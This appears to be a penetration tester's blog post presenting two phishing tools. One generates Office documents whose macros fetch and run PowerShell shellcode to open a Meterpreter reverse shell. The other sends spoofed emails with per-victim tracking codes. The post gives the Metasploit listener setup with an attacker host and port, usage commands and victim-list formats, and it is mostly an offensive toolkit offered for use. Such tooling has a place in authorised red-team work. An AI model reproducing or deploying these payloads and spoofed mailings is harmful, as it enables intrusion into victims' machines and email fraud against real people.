Archive
Phishing Toys
I wrote 2 scripts with the help of a co-worker that are useful in our social engineering engagements.
- injectShell.py – This script generates Microsoft documents (VBA code) that uses Powershell to get a meterpreter reverse shell. This script works on a Linux/Mac machine unlike some scripts I found which requires a Windows machine. This works by patching the hex bytes (ip address and port) in the pre-generated office documents.
- sendEmail.py – This script is useful in sending spoofed emails to some SMTP servers.
Check the below link for the Github repository
https://github.com/milo2012/Social-Engineering-Toys
injectShell.py
The script generates office documents (xls, doc and ppt) that includes VBA code that downloads and run the Invoke-Shellcode.ps1 (creates a meterpreter reverse shell back to server) when the victim enables Macro in the document.
You will need to run the windows/meterpreter/reverse_https payload on your the attacker host.
$ ./msfconsole
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST consulting.example.org
msf exploit(handler) > set LPORT 4443
msf exploit(handler) > set SessionCommunicationTimeout 0
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
Below is the help screen of the script.
$ python injectShell.py -h
usage: injectShell.py [-h] [-t T] [-o O] [-ip IP] [-port PORT]
optional arguments:
-h, --help show this help message and exit
-t T [xls|doc|ppt|all]
-o O [output filename (without extension)]
-ip IP [meterpreter listener ip address]
-port PORT [meterpreter listener port]
Below is the script in action.
$ python injectShell.py -t all -o salary -ip 192.168.1.6 -port 1111
- Generated: salary.xls
- Generated: salary.doc
- Generated: salary.ppt
sendEmail.py
This script is useful in sending spoofed emails to some SMTP servers. This can be useful in social engineering engagements.
Below is the help screen of the script.
$ python sendEmail.py -h
usage: sendEmail.py [-h] [-f F] [-n N] [-e E] [-t T] [-iL IL] [-v]
optional arguments:
-h, --help show this help message and exit
-f F [html file containing the email body]
-n N [recipient name]
-e E [recipient email]
-t T [delay between 1 to x seconds (random)]
-iL IL [file containing recipient name and email addresses per line
separated by comma]
-v [verbose]
Below is the script in action.
$ python sendEmail.py -iL namelist.txt -f sampleHtml.txt -t 10
Sending email to: test01@example.com
You can use keywords like @trackingCode and @user in HTML emails which will be replaced by the values listed in namelist.txt. (See sampleHTML.txt for an example of the usage of two keywords)
- @user is the victim’s name (1st field in namelist.txt)
- @trackingCode is the individual codes assigned to per victim email address in Phishing Frenzy (3rd field in namelist.txt)
Below are two sample formats of namelist.txt
Below is sample 1
The fields are separated by “,”
The first field is: recipient’s name
The second field is: recipient’s email address
Keith,keith123@hotmail.com
Below is sample 2
The first field is: recipient’s name
The second field is: recipient’s email address
The last field is: tracking code
Keith,keith123@hotmail.com,UAG21E